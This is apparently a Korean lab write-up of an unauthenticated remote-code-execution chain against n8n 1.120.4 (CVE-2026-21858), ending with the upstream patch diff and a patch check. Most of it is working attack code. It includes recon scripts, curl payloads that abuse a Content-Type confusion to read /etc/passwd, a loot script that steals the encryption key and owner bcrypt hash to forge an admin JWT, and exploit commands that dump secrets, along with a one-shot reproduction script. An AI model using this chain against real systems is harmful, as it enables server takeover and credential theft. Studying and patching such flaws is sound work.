Content-Type 한 줄 안 봤을 뿐인데 (CVE-2026-21858): n8n "Ni8mare" 언인증 RCE를 리얼 쉘로

#!/usr/bin/env bash
# n8n 타깃 핑거프린트 — 버전·공개 폼 노출 여부.
T="${1:-http://100.82.133.123:5678}"
echo "[+] health";        curl -s "$T/healthz"; echo
echo "[+] version";       curl -s "$T/rest/settings" | python3 -c "import sys,json;d=json.load(sys.stdin)['data'];print('   n8n', d.get('versionCli'),'| ownerSetup',not d.get('userManagement',{}).get('showSetupOnFirstLoad'))"
echo "[+] 공개 폼 웹훅 노출 (n8n Form Trigger 지문)"
curl -s -o /dev/null -w '    GET /form/labform  ->  HTTP %{http_code}\n' "$T/form/labform"
echo "[+] REST 인증 벽 (무인증 접근 차단 확인)"
curl -s -o /dev/null -w '    GET /rest/workflows (no cookie)  ->  HTTP %{http_code}\n' "$T/rest/workflows"

./recon.sh http://100.82.133.123:5678

git show n8n@1.120.4:packages/nodes-base/nodes/Form/utils/utils.ts | sed -n -e 355,356p -e 396,402p

// packages/nodes-base/nodes/Form/utils/utils.ts (1.120.4 — 취약)
const files = (context.getBodyData().files as IDataObject) ?? {};   // ← 요청이 준 files 를 그대로
...
returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
    file.filepath,          // ⚠️ 공격자가 준 경로를 그대로 읽는다
    file.originalFilename ?? file.newFilename,
    file.mimetype,
);

POST /form/labform HTTP/1.1
Host: target:5678
Content-Type: application/json          ← 폼은 multipart 를 기대하는데 JSON 을 보낸다
 
{"files":{"file":{"filepath":"/etc/passwd","mimetype":"text/plain","size":9999}}}

python3 exploit.py http://100.82.133.123:5678 --read /etc/passwd

#!/usr/bin/env bash
# wire.sh — 공격 요청을 그대로 보여주고 curl 로 던져 응답 코드를 확인한다.
T="${1:-http://100.82.133.123:5678}"
echo '# 공격 요청 — Content-Type 은 application/json (폼은 multipart 를 기대)'
echo "POST /form/labform  Content-Type: application/json"
echo '{"files":{"file":{"filepath":"/etc/passwd","mimetype":"text/plain","size":9999}}}'
echo '# 서버 응답:'
curl -s -X POST "$T/form/labform" -H 'Content-Type: application/json' \
  -d '{"files":{"file":{"filepath":"/etc/passwd","originalFilename":"f","newFilename":"f","mimetype":"text/plain","size":9999}}}' \
  -w '\n<-- HTTP %{http_code}  (form 은 200 을 주지만, 뒤에서 파일이 읽혀 나간다)\n'

./wire.sh http://100.82.133.123:5678

#!/usr/bin/env bash
# 파일 읽기만으로 admin 세션 재료를 모은다: encryptionKey + owner bcrypt → n8n-auth 위조.
set -e
T="${1:-http://100.82.133.123:5678}"
cd "$(dirname "$(readlink -f "$0")")"
echo "[1] config 회수 → encryptionKey"
python3 exploit.py "$T" --read /home/node/.n8n/config 2>/dev/null | sed -n '3,6p'
echo "[2] database.sqlite 회수 → owner 행 (id·email·bcrypt)"
python3 - "$T" <<'PY'
import sys, os, json, hashlib, base64, sqlite3
sys.path.insert(0, '.')
import exploit as X                               # exploit.py 의 read_file/forge_cookie 재사용
X.start_collector(X.DEFAULT_LHOST, X.DEFAULT_CPORT)
cfg = X.read_file(sys.argv[1], X.DEFAULT_FORM, "/home/node/.n8n/config", X.DEFAULT_BIN)
db  = X.read_file(sys.argv[1], X.DEFAULT_FORM, "/home/node/.n8n/database.sqlite", X.DEFAULT_BIN)
open("/tmp/.loot_db.sqlite", "wb").write(db)
uid, email, pw = sqlite3.connect("/tmp/.loot_db.sqlite").execute(
    "SELECT id,email,password FROM user WHERE roleSlug='global:owner'").fetchone()
os.remove("/tmp/.loot_db.sqlite")
key = json.loads(cfg)["encryptionKey"]
print(f"    owner  = {email}  (id {uid[:8]}…)")
print(f"    bcrypt = {pw[:24]}…")
print("[3] JWT 위조 재료 계산")
jwtSecret = hashlib.sha256(key[::2].encode()).hexdigest()
jwtHash = base64.b64encode(hashlib.sha256((email + ':' + pw).encode()).digest()).decode()[:10]
print(f"    jwtSecret = sha256(encryptionKey[::2]) = {jwtSecret[:24]}…")
print(f"    jwtHash   = base64(sha256(email:bcrypt))[:10] = {jwtHash}")
_, cookie = X.forge_cookie(cfg, db)
print(f"[4] 위조 n8n-auth = {cookie[:38]}…")
PY

./loot.sh http://100.82.133.123:5678

git show n8n@1.120.4:packages/cli/src/services/jwt.service.ts | sed -n -e 11,23p -e 26,27p

// packages/cli/src/services/jwt.service.ts (1.120.4)
this.jwtSecret = globalConfig.userManagement.jwtSecret;   // env 로 안 주면 비어 있음
if (!this.jwtSecret) {
  // CAREFUL: do not change this or it breaks all existing tokens.
  let baseKey = '';
  for (let i = 0; i < encryptionKey.length; i += 2) baseKey += encryptionKey[i]; // 짝수 인덱스만
  this.jwtSecret = createHash('sha256').update(baseKey).digest('hex');
}

git show n8n@1.120.4:packages/cli/src/auth/auth.service.ts | sed -n -e 189,197p -e 297,308p

# exploit.py — config(encryptionKey) + database.sqlite(owner) → n8n-auth JWT 위조
def forge_cookie(config_bytes, db_bytes):
    key = json.loads(config_bytes)["encryptionKey"]
    uid, email, pw = sqlite3(db_bytes).execute(
        "SELECT id,email,password FROM user WHERE roleSlug='global:owner'").fetchone()
    jwt_secret = sha256(key[::2]).hexdigest()                                  # jwt.service.ts
    jwt_hash   = base64(sha256(f"{email}:{pw}").digest())[:10]                 # auth.service.ts
    payload = {"id": uid, "hash": jwt_hash, "usedMfa": False, "iat": now, "exp": now + 7*86400}
    return "HS256(payload, jwt_secret)"   # → 쿠키 n8n-auth 로 그대로 붙인다

python3 exploit.py http://100.82.133.123:5678 "id; hostname; uname -a; whoami; cat /etc/os-release | head -2"

python3 exploit.py http://100.82.133.123:5678 --script "id; whoami" \
  "ps -o pid,user,args | grep -iE 'node|n8n' | grep -v grep | head -5" "node -v; which node nc python3 sh"

python3 exploit.py http://100.82.133.123:5678 --script \
  "env | grep -iE 'N8N|KEY|DB|ENCRYPT|SECRET' | head" "ls -la /home/node/.n8n" "cat /home/node/.n8n/config"

python3 exploit.py http://100.82.133.123:5678 --script \
  "cat /proc/1/cmdline | tr '\0' ' '; echo" "ls -la /home/node/.n8n | head" "head -c 200 /home/node/.n8n/database.sqlite | strings | head -3"

#!/usr/bin/env bash
# n8n CVE-2026-21858 "Ni8mare" — 한 방 재현. 백업본만으로 바로 돌아가야 한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
IMAGE="n8nio/n8n:1.120.4"; NAME="n8n-repro"; PORT=5678; BASE="http://127.0.0.1:${PORT}"
LHOST="${LHOST:-127.0.0.1}"; CPORT="${CPORT:-18080}"
MARK="NI8_$$_$(head -c6 /dev/urandom | od -An -tx1 | tr -d ' \n')"
cleanup() { docker rm -f "$NAME" >/dev/null 2>&1 || true; }
trap cleanup EXIT
 
echo "[*] 취약 n8n 1.120.4 기동 (host network)…"
docker rm -f "$NAME" >/dev/null 2>&1 || true
docker run -d --name "$NAME" --network host -e N8N_SECURE_COOKIE=false -e N8N_PORT=$PORT "$IMAGE" >/dev/null
 
echo -n "[*] n8n 준비 대기"
for i in $(seq 1 60); do
  code=$(curl -s -o /dev/null -w '%{http_code}' "${BASE}/rest/settings" 2>/dev/null || true)
  [ "$code" = "200" ] && { echo " ready"; break; }; echo -n "."; sleep 3
done
 
echo "[*] 피해 배포 상태 구성(오너 + 공개 Form 워크플로)…"
python3 setup_victim.py "$BASE" "http://${LHOST}:${CPORT}/upload"
 
echo "[*] 언인증 체인 실행: 파일읽기 → JWT 위조 → Execute Command RCE…"
OUT=$(LHOST=$LHOST python3 exploit.py "$BASE" --lhost "$LHOST" --cport "$CPORT" "id; echo ${MARK}" 2>&1) || true
echo "----- exploit 출력 -----"; echo "$OUT"; echo "------------------------"
 
if printf '%s' "$OUT" | grep -q "$MARK"; then
  echo; echo "✅ PASS — 언인증으로 서버에서 마커(${MARK})가 실행·회수됨. 파일읽기→JWT위조→RCE 확인."
  echo "   (uid=1000(node) 줄이 함께 보이면 n8n 런타임 사용자 권한 RCE)"; exit 0
fi
echo; echo "❌ FAIL — 마커 미회수. 취약 태그(1.120.4)·폼 활성·수집 서버 도달을 확인."; exit 1

./reproduce.sh

git diff n8n@1.120.4 n8n@1.121.0 -- packages/nodes-base/nodes/Form/utils/utils.ts

// 1.121.0 — prepareFormReturnItem() 맨 앞
const req = context.getRequestObject() as MultiPartFormData.Request;
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');   // ← 추가

#!/usr/bin/env bash
# patch_check.sh — 취약본(1.120.4)과 패치본(1.121.0)에 같은 혼동 요청을 보내 대조한다.
VULN="${1:-http://100.82.133.123:5678}"    # 1.120.4 (Kali)
PATCHED="${2:-http://127.0.0.1:5680}"       # 1.121.0 (local)
PAY='{"files":{"file":{"filepath":"/etc/passwd","originalFilename":"f","newFilename":"f","mimetype":"text/plain","size":9999}}}'
echo "[취약 1.120.4] POST /form/labform (Content-Type: application/json)"
curl -s -o /dev/null -w '   -> HTTP %{http_code}  (파일 읽혀 다운스트림 전달됨)\n' \
  -X POST "$VULN/form/labform" -H 'Content-Type: application/json' -d "$PAY"
echo "[패치 1.121.0] 동일 요청"
curl -s -w '\n   -> HTTP %{http_code}\n' -X POST "$PATCHED/form/labform" \
  -H 'Content-Type: application/json' -d "$PAY" | sed 's/^/   /'
echo "[패치 로그] assert 메시지:"
docker logs n8n-patched 2>&1 | grep -i "Expected multipart" | tail -1 | sed 's/^/   /'

./patch_check.sh